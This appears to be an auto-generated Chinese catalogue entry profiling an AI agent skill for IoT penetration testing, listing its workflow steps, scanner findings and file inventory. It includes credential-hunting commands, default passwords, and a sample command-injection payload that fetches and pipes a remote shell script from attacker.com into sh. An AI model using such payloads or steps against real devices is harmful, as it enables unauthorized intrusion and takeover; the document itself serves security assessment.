返回技能目录
静态审阅软件开发

技能研究档案

performing-iot-security-assessment

来源声明

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

保留作者的英文原始描述。它表达设计意图,不代表已验证的实际效果。

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

developmentreferencesscripts

研究摘要

机器生成分析,等待人工复核

以下观察来自确定性源码解析,不代表人工安全审查或受控任务评估。

来源描述:Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing. 此双语摘要由所收集的源文本和文件结构确定性地生成,等待人工编辑复核。

审阅范围

对所收集的 SKILL.md 及辅助文本/代码进行确定性静态分析。机器辅助候选和发现等待人工编辑复核;不评估动态行为或效果。

可观察能力

  • Workflow[来源陈述;暂定,未测试。证据:skills/performing-iot-security-assessment/SKILL.md:L55]
  • Step 1: Device Reconnaissance and Hardware Analysis[来源陈述;暂定,未测试。证据:skills/performing-iot-security-assessment/SKILL.md:L57]
  • Step 2: Firmware Extraction and Analysis[来源陈述;暂定,未测试。证据:skills/performing-iot-security-assessment/SKILL.md:L71]
  • Step 3: Network Communication Analysis[来源陈述;暂定,未测试。证据:skills/performing-iot-security-assessment/SKILL.md:L90]
  • Step 4: Firmware Emulation and Dynamic Testing[来源陈述;暂定,未测试。证据:skills/performing-iot-security-assessment/SKILL.md:L101]
  • Step 5: Exploitation and Impact Demonstration[来源陈述;暂定,未测试。证据:skills/performing-iot-security-assessment/SKILL.md:L115]

限制与范围

  • 静态分析无法评估运行时行为、命令是否成功、网络可达性或模型输出质量。
  • 未执行任何命令、脚本、网络请求、模型调用或受控技能测试。
  • 类别、标签、能力、工作流程和双语编辑摘要均为待人工复核的确定性候选,并非已验证结果。
  • 在后续管线实际执行并记录官方模型专用计数之前,无法提供精确 token 数。

适用读者

  • 评估是否检查并安装该来源技能的实践者;此受众由产品语境推断,并非测量得到的使用情况。[证据:skills/performing-iot-security-assessment/SKILL.md:L1-L34]

技能包含哪些内容

文件清单来自记录提交中的采集源码。路径与大小属于结构观察,不代表质量评价。

个文件
4
Markdown 文件
2
个脚本
1
个引用
1
大小
33.4 KB
结构复杂度
低

文件清单

路径类型字节
skills/performing-iot-security-assessment/LICENSE其他11 KB
skills/performing-iot-security-assessment/references/api-reference.md引用1.7 KB
skills/performing-iot-security-assessment/scripts/agent.py脚本8.4 KB
skills/performing-iot-security-assessment/SKILL.md指令12.4 KB

SKILL.md 前置元数据

{
  "name": "performing-iot-security-assessment",
  "description": "Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.\n",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "IoT-security",
    "firmware-analysis",
    "embedded-systems",
    "hardware-hacking",
    "UART-JTAG"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1078.004"
  ]
}

对运行顺序的一种解读

此工作流根据源码材料重建表面顺序。除非明确记录受控评估,否则它属于暂定解读,而非真实运行轨迹。

  1. 01
    判断

    When to Use

    来源描述的决策候选,位于“When to Use”;未经执行验证。

  2. 02
    操作

    Workflow

    来源描述的步骤候选,位于“Workflow”;未经执行验证。

  3. 03
    操作

    Step 1: Device Reconnaissance and Hardware Analysis

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  4. 04
    操作

    External inspection: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  5. 05
    操作

    FCC ID lookup: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  6. 06
    操作

    PCB analysis: Open the device enclosure and photograph the PCB. Identify:

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

查看全部工作流候选节点 (63 个候选步骤)
  1. 07
    输入

    Main processor/SoC (read markings, search datasheet)

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  2. 08
    操作

    Flash memory chips (SPI NOR, NAND, eMMC)

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  3. 09
    操作

    Debug headers and test points

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  4. 10
    操作

    UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  5. 11
    操作

    UART identification: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  6. 12
    操作

    JTAG identification: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

    来源描述的步骤候选,位于“Step 1: Device Reconnaissance and Hardware Analysis”;未经执行验证。

  7. 13
    操作

    Step 2: Firmware Extraction and Analysis

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  8. 14
    操作

    Extract and analyze the device firmware:

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  9. 15
    操作

    Firmware acquisition methods:

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  10. 16
    操作

    Download from manufacturer website or update server

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  11. 17
    输入

    Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with `flashrom -p ch341aspi -r firmware.bin`

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  12. 18
    操作

    Capture over-the-air updates via network interception

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  13. 19
    操作

    Extract from UART bootloader console (U-Boot: `md.b` memory dump)

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  14. 20
    操作

    Firmware unpacking: `binwalk -e firmware.bin` to extract filesystem, kernel, and bootloader components

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  15. 21
    操作

    Filesystem analysis:

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  16. 22
    操作

    Search for credentials: `grep -rn "password\|passwd\|secret\|key" squashfs-root/`

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  17. 23
    操作

    Examine `/etc/shadow` for password hashes

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  18. 24
    操作

    Review startup scripts in `/etc/init.d/` for insecure service configurations

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  19. 25
    操作

    Identify web server configurations and CGI scripts for web interface vulnerabilities

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  20. 26
    操作

    Use Firmwalker: `./firmwalker.sh squashfs-root/` for automated sensitive data discovery

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  21. 27
    操作

    Binary analysis: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  22. 28
    操作

    Known vulnerability scanning: Extract software versions and cross-reference with CVE databases. Use `firmware-analysis-toolkit` for automated CVE scanning.

    来源描述的步骤候选,位于“Step 2: Firmware Extraction and Analysis”;未经执行验证。

  23. 29
    操作

    Step 3: Network Communication Analysis

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  24. 30
    操作

    Analyze all network traffic from the IoT device:

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  25. 31
    操作

    Traffic capture: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  26. 32
    操作

    Protocol analysis: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  27. 33
    操作

    TLS analysis: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  28. 34
    操作

    Cloud API analysis: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  29. 35
    操作

    Bluetooth/BLE testing: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  30. 36
    操作

    Zigbee/Z-Wave testing: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

    来源描述的步骤候选,位于“Step 3: Network Communication Analysis”;未经执行验证。

  31. 37
    操作

    Step 4: Firmware Emulation and Dynamic Testing

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  32. 38
    操作

    QEMU emulation: Use FirmAE or Firmadyne to emulate the extracted firmware: `python3 fat.py firmware.bin` to boot the firmware in an emulated environment

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  33. 39
    操作

    Web interface testing: Access the device's web management interface from the emulated environment and test for:

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  34. 40
    操作

    Default credentials (admin:admin, root:root, admin:password)

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  35. 41
    操作

    Command injection in configuration parameters

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  36. 42
    操作

    Authentication bypass via direct URL access

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  37. 43
    输入

    Cross-site scripting in all input fields

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  38. 44
    操作

    CSRF in state-changing operations

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  39. 45
    操作

    Service testing: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  40. 46
    操作

    Fuzzing: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

    来源描述的步骤候选,位于“Step 4: Firmware Emulation and Dynamic Testing”;未经执行验证。

  41. 47
    操作

    Step 5: Exploitation and Impact Demonstration

    来源描述的步骤候选,位于“Step 5: Exploitation and Impact Demonstration”;未经执行验证。

  42. 48
    操作

    Remote code execution: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device

    来源描述的步骤候选,位于“Step 5: Exploitation and Impact Demonstration”;未经执行验证。

  43. 49
    操作

    Credential extraction: Extract and crack credentials found in firmware, memory dumps, or network captures

    来源描述的步骤候选,位于“Step 5: Exploitation and Impact Demonstration”;未经执行验证。

  44. 50
    操作

    Lateral movement: Demonstrate how a compromised IoT device can be used to attack other devices on the network

    来源描述的步骤候选,位于“Step 5: Exploitation and Impact Demonstration”;未经执行验证。

  45. 51
    操作

    Persistence: Show how an attacker could maintain access to the device across firmware updates or reboots

    来源描述的步骤候选,位于“Step 5: Exploitation and Impact Demonstration”;未经执行验证。

  46. 52
    操作

    Physical impact: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

    来源描述的步骤候选,位于“Step 5: Exploitation and Impact Demonstration”;未经执行验证。

  47. 53
    操作

    Key Concepts

    来源描述的步骤候选,位于“Key Concepts”;未经执行验证。

  48. 54
    操作

    Tools & Systems

    来源描述的步骤候选,位于“Tools & Systems”;未经执行验证。

  49. 55
    操作

    Common Scenarios

    来源描述的步骤候选,位于“Common Scenarios”;未经执行验证。

  50. 56
    操作

    Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  51. 57
    操作

    Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  52. 58
    操作

    Find hardcoded credentials in `/etc/shadow` (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  53. 59
    操作

    Web interface testing reveals command injection in the NTP server configuration field: `; wget http://attacker.com/shell.sh | sh`

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  54. 60
    操作

    Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  55. 61
    操作

    Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  56. 62
    输出

    Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

    来源描述的步骤候选,位于“Scenario: Enterprise IP Camera Security Assessment”;未经执行验证。

  57. 63
    输出

    Output Format

    来源描述的步骤候选,位于“Output Format”;未经执行验证。

潜在风险面

静态发现用于提示安装前需要检查的位置,不能证明一项技能安全、恶意或有效。

建议重点关注

收集的文本中有 25 项确定性词法发现需要复核。发现可能仅位于文档中,不证明已执行或可被利用;仅含二进制的文件未扫描。

网络访问已观察到
文件写入已观察到
凭据使用已观察到
中

文本提及网络访问

9 次命中

此源文件行包含 URL 或网络客户端。应检查目标地址、发送的数据和信任边界;静态文本无法证明实际发生了网络活动。 该规则在收集文本中命中 9 处;此处列出 3 个代表位置。命中文本可能只是文档,分析器没有执行它。

提示

文本描述或实现了文件修改

14 次命中

此行包含可能的文件写入或重定向操作。应检查目标路径和覆盖行为;静态审查没有写入任何文件。 该规则在收集文本中命中 14 处;此处列出 3 个代表位置。命中文本可能只是文档,分析器没有执行它。

高

文本引用凭据或密钥材料

此行疑似凭据字面值,或读取敏感环境变量。请勿暴露其内容;应核实它是占位符、所需密钥,还是误提交的敏感材料。 该规则在收集文本中命中 1 处;此处列出 1 个代表位置。命中文本可能只是文档,分析器没有执行它。

高

下载内容可能被执行

此行组合了下载与执行,可能运行可变的远程代码。应检查版本固定、完整性校验和隔离;分析器未下载或执行任何内容。 该规则在收集文本中命中 1 处;此处列出 1 个代表位置。命中文本可能只是文档,分析器没有执行它。

上下文可能消耗在哪里

发现、激活与资源层具有不同含义。只有使用指定官方方法并记录模型的运行时,才显示精确数值。

精确 token 计数不可用

在管线使用明确模型执行官方精确计数之前,包括文件清单在内的所有 token 值均为 null。

未使用要求的官方方法记录 token 测量。本档案不会用字符数、文件大小或估计值替代。

受控评估

没有受控评估

该技能仅具备以上标明的证据。不声称任何任务成功率、token 效率、延迟或质量优势。

尚未测试

在源码可见的情况下使用

安装命令
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/performing-iot-security-assessment/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

前置条件

  • 静态分析无法评估运行时行为、命令是否成功、网络可达性或模型输出质量。
  • 未执行任何命令、脚本、网络请求、模型调用或受控技能测试。
  • 类别、标签、能力、工作流程和双语编辑摘要均为待人工复核的确定性候选,并非已验证结果。
  • 在后续管线实际执行并记录官方模型专用计数之前,无法提供精确 token 数。

示例提示词

未提供

附上限制条件的判断

优势

  • 快照包含 4 个收集文件、2 个 Markdown 文件和 1 个脚本文件,可进行源代码级检查。[证据:skills/performing-iot-security-assessment/SKILL.md:L1]

注意事项

  • 尚未确立功能、安全或模型质量结果。安装或发布前,人工复核必须检查源代码上下文和所有引用发现。
研究结论

仅为暂定的确定性静态清单;等待人工编辑复核以及独立的受控评估。不构成安装建议、安全保证或有效性声明。

从结构上保持可追溯

档案是对公开工件的限时阅读,而非背书。请通过来源链接检查确切的上游材料。

mukul975Anthropic-Cybersecurity-Skillsskills/performing-iot-security-assessment
来源类型
社区
提交
54a798831d2266a3ca61ce68a7acb80b81160d57
采集时间
2026年11月20日
最近核查
2026年11月20日
上游许可证
Apache-2.0
仓库星标
36,446
内容依据

仅对提供的文件进行确定性词法解析、YAML frontmatter 校验、文件清单、来源描述的工作流程提取和启发式暂定分类。由机器生成;无 LLM、执行、动态测试或人工编辑批准。